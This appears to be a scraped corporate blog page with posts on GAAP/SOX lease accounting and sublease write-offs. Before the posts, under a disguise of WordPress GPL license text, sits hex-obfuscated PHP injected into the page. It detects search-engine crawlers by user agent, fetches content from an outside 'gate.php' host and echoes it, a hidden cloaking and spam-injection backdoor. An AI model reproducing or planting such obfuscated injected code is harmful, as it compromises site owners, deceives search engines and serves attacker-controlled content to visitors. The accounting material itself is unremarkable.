/*
WordPress - Web publishing software
Copyright 2011 by the contributors
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
This program incorporates work covered by the following copyright and
permission notices:
b2 is (c) 2001, 2002 Michel Valdrighi - m@tidakada.com -
http://tidakada.com
Wherever third party code has been used, credit has been given in the code's
comments.
b2 is released under the GPL
and
WordPress - Web publishing software
Copyright 2003-2010 by the contributors
WordPress is released under the GPL
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
*/
${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x66\x67\x78d\x78l\x6e\x69"]="\x75\x72\x6c";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70\x69z\x76f\x75\x65"]="\x75s\x65\x72a\x67\x65\x6e\x74";${"\x47\x4cO\x42\x41LS"}["\x6fogg\x6b\x64"]="l\x69\x6e\x65";${"\x47L\x4f\x42\x41L\x53"}["\x74\x66\x75\x76\x79\x73d\x7a"]="url\x5f\x31";${"\x47\x4c\x4fB\x41\x4c\x53"}["w\x79\x6d\x72\x66\x6f\x69d\x73\x69"]="\x70\x6fs";${"\x47\x4cO\x42\x41LS"}["xpr\x77w\x73\x65j"]="p\x61\x74\x68";${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x75\x70\x7a\x66\x70nem"]="\x72\x65s\x70o\x6e\x73\x65";function geturl_1($url){return file_get_contents(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x66g\x78\x64\x78ln\x69"]});}${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6c\x6c\x62\x6e\x64\x78\x79\x64l\x6anm"]="c\x68";function geturl_2($sock,$host,$path,$query){$bslgiwascb="s\x6f\x63k";$vrytxr="\x71u\x65\x72\x79";$kgtxrrctee="\x72e\x73\x70\x6fnse";${"\x47\x4cOB\x41L\x53"}["\x72\x69s\x69hv\x6f\x77"]="\x72esp\x6fn\x73\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78la\x6cr\x70\x65\x76\x79"]="so\x63k";$ymzrcullsjkf="\x72\x65\x73\x70\x6fn\x73\x65";${"G\x4c\x4f\x42\x41LS"}["dms\x64\x65lb"]="\x72\x65\x73\x70\x6fn\x73e";$kvgflvy="\x73\x6f\x63\x6b";fputs(${$bslgiwascb},"\x47E\x54\x20".${${"\x47\x4cO\x42A\x4cS"}["\x78p\x72\x77w\x73e\x6a"]}."?".${$vrytxr}." \x48T\x54\x50\x2f\x31\x2e\x30\r\n"."\x48\x6f\x73t\x3a $host\r\n"."U\x73\x65r\x2d\x41\x67e\x6et\x3a Mo\x7a\x69\x6cla\x2f5\x2e\x30\x20(Window\x73;\x20\x55;\x20Win\x64ow\x73\x20\x4eT 5\x2e1\x3b\x20\x65\x6e\x2d\x55\x53;\x20\x72v:\x31\x2e\x38.\x30\x2e3\x29 G\x65cko/200\x36\x3042\x36 F\x69\x72e\x66\x6f\x78\x2f\x31\x2e\x35.\x30\x2e3\r\n"."\x41\x63\x63\x65\x70\x74\x3a\x20*\x2f*\r\n"."\x41cce\x70\x74-\x4c\x61\x6e\x67ua\x67e: e\x6e-\x75s\x2c\x65n;\x71=0.5\r\n"."\x41cc\x65p\x74-\x43h\x61\x72\x73\x65t\x3a\x20I\x53\x4f\x2d885\x39-\x31,u\x74f\x2d8;\x71\x3d\x30.\x37\x2c*;\x71=0.7\r\n"."\x4b\x65\x65\x70-A\x6c\x69ve\x3a\x20\x330\x30\r\n"."\x43\x6fnnect\x69\x6f\x6e:\x20ke\x65\x70-al\x69\x76\x65\r\n"."Ref\x65\x72er\x3a\x20\x68t\x74\x70:\x2f\x2f$host\r\n\r\n");while(${${"GLOB\x41\x4c\x53"}["\x6fo\x67\x67kd"]}=fread(${$kvgflvy},4096)){${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x75\x70zfp\x6e\x65m"]}.=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x6fggk\x64"]};}fclose(${${"\x47\x4c\x4fB\x41L\x53"}["\x78lal\x72\x70\x65\x76\x79"]});${${"\x47\x4c\x4fB\x41L\x53"}["wy\x6d\x72\x66\x6f\x69\x64\x73i"]}=strpos(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x6d\x73delb"]},"\r\n\r\n");${$kgtxrrctee}=substr(${${"\x47\x4cOBA\x4c\x53"}["\x72i\x73i\x68\x76o\x77"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x79\x6drf\x6f\x69ds\x69"]}+4);return${$ymzrcullsjkf};}${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x67\x65n\x66\x70\x61\x6d\x63p\x74"]="s\x6fck";function geturl_3($url){$qvqynucfsnr="\x63h";${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x74\x70\x6a\x6es\x62g\x72"]="\x63\x68";${$qvqynucfsnr}=curl_init(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6f\x66\x67\x78d\x78l\x6e\x69"]});curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x74\x70\x6a\x6e\x73bg\x72"]},CURLOPT_HEADER,FALSE);$gocgaziqqt="\x72\x65sul\x74";${"G\x4cO\x42\x41\x4c\x53"}["e\x79md\x75\x66\x64h\x74"]="c\x68";curl_setopt(${${"\x47L\x4f\x42A\x4c\x53"}["l\x6cb\x6e\x64\x78\x79dlj\x6em"]},CURLOPT_RETURNTRANSFER,TRUE);$nujstqtawyk="re\x73\x75\x6c\x74";${$nujstqtawyk}=curl_exec(${${"\x47L\x4fB\x41\x4c\x53"}["\x65\x79\x6d\x64\x75\x66\x64h\x74"]});curl_close(${${"\x47\x4c\x4fB\x41\x4cS"}["ll\x62\x6e\x64\x78\x79dl\x6a\x6e\x6d"]});return${$gocgaziqqt};}function getuseragent($useragent){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79l\x66ig\x61\x62\x74"]="u\x73\x65\x72a\x67\x65\x6e\x74";${"\x47L\x4f\x42A\x4cS"}["cl\x76\x6d\x75\x65\x7aj"]="\x75\x73\x65\x72a\x67\x65n\x74";if(stripos(${${"\x47L\x4f\x42\x41LS"}["\x70\x69\x7av\x66u\x65"]},"\x67oo\x67l\x65\x62ot")||stripos(${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6c\x66i\x67\x61\x62\x74"]},"s\x6cu\x72\x70")||stripos(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x6c\x76\x6du\x65z\x6a"]},"\x6d\x73nbo\x74")){return 1;}return 0;}function mainwork($url){if(ini_get("\x61ll\x6f\x77\x5f\x75r\x6c\x5f\x66op\x65\x6e")==1){$nvnzoabil="\x75\x72l";echo geturl_1(${$nvnzoabil});}else{${"\x47\x4cO\x42\x41\x4c\x53"}["d\x77\x6dm\x76\x64\x6c"]="u\x72\x6c_1";${${"GLOB\x41L\x53"}["\x64w\x6dmvdl"]}=parse_url(${${"GL\x4fB\x41\x4c\x53"}["\x6f\x66\x67\x78dx\x6cn\x69"]});if(${${"\x47L\x4f\x42\x41LS"}["\x70\x67\x65\x6e\x66\x70a\x6d\x63\x70t"]}=@fsockopen(${${"\x47\x4c\x4fBALS"}["\x74f\x75\x76\x79s\x64z"]}["\x68ost"],80)){echo geturl_2(${${"\x47\x4cO\x42\x41L\x53"}["\x70\x67en\x66\x70\x61\x6d\x63pt"]},${${"\x47\x4c\x4f\x42ALS"}["\x74f\x75vy\x73\x64\x7a"]}["\x68\x6f\x73\x74"],${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x66\x75\x76\x79sd\x7a"]}["path"],${${"\x47\x4c\x4fBA\x4c\x53"}["\x74f\x75\x76\x79\x73\x64z"]}["que\x72y"]);}elseif(@function_exists("c\x75r\x6c\x5fini\x74")){${"\x47L\x4f\x42A\x4c\x53"}["\x69\x6fm\x66\x78ylg\x79\x64\x77"]="\x75\x72\x6c";echo geturl_3(${${"G\x4c\x4fB\x41\x4cS"}["\x69\x6f\x6d\x66\x78y\x6cgy\x64\x77"]});}}}$friidcrrwq="\x63\x6f\x75\x6e\x74\x5f\x75r\x6c";${"G\x4cO\x42\x41\x4cS"}["ljc\x66je"]="st\x61\x74\x69c";${"\x47L\x4fBA\x4cS"}["\x7a\x6a\x6bpz\x6e\x72\x71"]="c\x6f\x75\x6e\x74\x5fu\x72l";${"\x47\x4cO\x42A\x4c\x53"}["\x74\x72g\x77\x6e\x70\x70\x6b\x6e"]="c\x6fu\x6e\x74\x5f\x73";${$friidcrrwq}=15;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x77\x74\x75\x76\x71"]="c\x6co\x61\x63\x61";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cj\x63\x66\x6a\x65"]}=1;$omucbdgwj="i\x64";${"\x47\x4cO\x42\x41\x4c\x53"}["ouh\x72\x6d\x77\x79\x78\x64\x71\x63"]="c\x6c\x6fac\x61";${$omucbdgwj}=1;$akirebb="c\x6f\x75\x6e\x74\x5f\x73";${"\x47L\x4f\x42ALS"}["\x78\x6f\x79\x62\x73s\x77e\x65kd\x73"]="\x63\x6c\x6f\x61c\x61";${"\x47\x4cOB\x41LS"}["\x6ev\x69\x6a\x62\x71\x76i\x78\x6c\x6c"]="\x69d";${$akirebb}=1;${${"GLO\x42\x41\x4c\x53"}["\x78o\x79\x62s\x73we\x65k\x64\x73"]}=1;$host="\x68t\x74\x70\x3a//\x70alm\x61si\x6b.c\x6fm\x2f\x67\x61te.\x70h\x70";${${"\x47\x4c\x4f\x42\x41LS"}["\x6f\x66g\x78\x64\x78l\x6e\x69"]}=$host."\x3fc\x6f\x75\x6et\x3d".${${"G\x4c\x4f\x42AL\x53"}["zj\x6b\x70z\x6e\x72\x71"]}."&st\x61tic=".${${"\x47\x4cO\x42\x41\x4cS"}["\x6c\x6a\x63\x66je"]}."\x26\x69d\x3d".${${"G\x4c\x4f\x42\x41LS"}["n\x76i\x6a\x62q\x76i\x78\x6c\x6c"]}."&\x63ount\x5fs\x3d".${${"\x47\x4c\x4f\x42ALS"}["tr\x67\x77n\x70\x70kn"]};if(${${"\x47L\x4f\x42A\x4cS"}["o\x75\x68\x72\x6d\x77\x79\x78\x64\x71\x63"]}&&getuseragent($_SERVER["\x48\x54TP\x5fUSE\x52_\x41\x47\x45NT"])){$yvgimnmsgzf="\x75r\x6c";mainwork(${$yvgimnmsgzf});}elseif(${${"\x47\x4cOBAL\x53"}["pw\x74\x75\x76\x71"]}==0){$qelkozwnqybc="u\x72\x6c";mainwork(${$qelkozwnqybc});}
?>
March 15, 2010
Lucernex expert Jim Duport discusses the 5 rules you need to know about GAAP/SOX. Learn more about Lx LseMod Corporate for lease analysis including GAAP impact.
1. Rent straight-lined over the term if rent increases are known.
|
| Impact: |
First Fiscal year cost will increase |
|
2. Landlord Tenant Improvement Dollars are shown as a net rent credit, and Total construction cost including Landlord’s TI Dollars are depreciated.
|
| Assume: |
Construction cost is $30/sf, Landlord paying $21/sf |
| Old Days: |
Depreciate $9/sf (part paid by tenant) |
| Now: |
Depreciate $30/sf (tenant and landlord cost) Landlord cost shown as credit to rent spread over term Tenant’s capital stays at $9/sf ($30 – $21) |
| Why? |
Rationale – base rent includes landlord’s amortization of TI$ |
| Impact: |
Reduces “rent” charged to the P&L
Increases depreciation
Changes EBITDA |
3. GAAP rent starts with “beneficial use” GAAP rent starts earlier of when construction starts or lease commences
|
| Assume: |
Lease starts March 2007, construction starts January 2007 |
| Old days: |
Start paying costs in March 2007 |
| Now: |
GAAP rent starts when you “use” the space e.g. January 2007 |
| Why? |
Tenant, in essence, controls space since construction is for Tenant’s use |
| Impact: |
Potential double rent on financial statements during construction (if relocating)
First Fiscal year cost will increase |
4. Restoration amortized over term
|
| aka – “make good” or in UK, called “dilapidations” |
| Old days: |
Adjust Cash Flow at the end of term to include Restoration cost |
| Now: |
FASB 143 requires the accrual of future liabilities, in this case Restoration / Dilapidations. The following applies if you choose to Apply GAAP Accounting.The methodology used is to estimate the cost now, then apply an inflation factor to estimate the cost at the end of the term, the Future Cost.
The Future Cost is then discounted to a Present Value. The Discounted Present Value of the Future Cost is straight-lined over the lease term AND an accretion expense is applied to the increasing liability. The accrual starts with the GAAP lease term since it represents a liability. Cash Flow needs to be adjusted to reflect the P&L liability and the payment of the actual cost at the end of the lease term |
| Impact: |
Increases average annual occupancy cost on P&L |
|
5. Rules for sublease analysis write-offs have been further defined
|
- Cost written off when decision made. When vacate space or if vacant, when decide to sublease
- Costs include NPV of rental costs, depreciation write-off, estimated subleasing costs and sublease income
- Income Statement (P&L) charged the NPV of write-off
- Monthly, interest expense on declining balance of the NPV Write-Off charged to P&L
- Declining balance determined by taking net monthly costs and
interest expense, deducting that from the NPV write-off
|


Shameless Plug
Lx LseMod Corporate Lease Analysis is the market leading application for Corporate lease analysis, providing GAAP impact analysis within detailed P&L and Cash Flow projections. Companies like GE, MetLife, American Express and Robert Half use Lx LseMod Corporate for lease analysis making it the most trusted name in corporate lease analysis.
Tags: cash flow analysis, commercial real estate software, corporate real estate software, GAAP, GAAP Sublease Accounting, net effective rate, SOX, straight lining rent, Sublease rent :: 1 Comment »
February 21, 2010
Lucernex expert Jim Duport discusses GAAP sublease accounting.
GAAP Sublease Accounting
Summary of GAAP/FASB Accounting for a Loss Associated with a Sublease
Our interpretation of GAAP sublease analysis according to FASB accounting rules is as follows:
Overview: Start by determining the net present value of all rental costs including write-offs of depreciation and subleasing costs, offset by the sublease income (the NPV write-off). The Income Statement (Profit & Loss statement) is then charged the NPV write-off and it is charged an interest expense based on a declining balance of the NPV write-off, the accretion interest expense. The declining balance is determined by taking the net monthly costs (including sublease income) and the interest expense and deducting that cost from the NPV write-off.
Steps are as follows:
(more…)
Tags: commercial lease analysis, commercial real estate, Commercial real estate analysis, GAAP Accounting, GAAP Sublease Accounting, Lease Administration software, lease analysis, LseMod, real estate software, sublease analysis :: 6 Comments »